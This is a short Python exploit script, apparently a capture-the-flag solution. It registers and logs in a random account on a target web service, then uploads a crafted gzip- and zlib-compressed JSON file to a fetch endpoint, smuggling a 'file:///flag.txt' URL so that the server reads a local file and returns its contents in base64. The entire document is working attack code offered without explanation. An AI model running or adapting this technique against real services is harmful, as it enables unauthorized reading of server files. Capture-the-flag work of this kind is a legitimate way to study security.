import requests, random, string, base64, gzip, zlib, json, sys

HOST = sys.argv[1]
PORT = 16000

def random_string(length):
    charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join(random.choice(charset) for i in range(length))

def exploit():
    sess = requests.Session()

    ## register
    username = random_string(5)
    password = random_string(5)
    r = sess.post(f"http://{HOST}:{PORT}/auth/register", data={"username":username,"password": password}, allow_redirects=False)

    ## login
    r = sess.post(f"http://{HOST}:{PORT}/auth/login", data={"username":username,"password": password}, allow_redirects=False)

    ## exploit python
    content = {"provider": "python","url":" file:///flag.txt"}
    files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
    r = sess.post(f"http://{HOST}:{PORT}/dashboard/fetch_by_file", files=files)
    b64_string = r.text
    b64_string += "=" * ((4 - len(b64_string) % 4) % 4)
    print(base64.b64decode(b64_string).decode())

if __name__ == "__main__":
    exploit()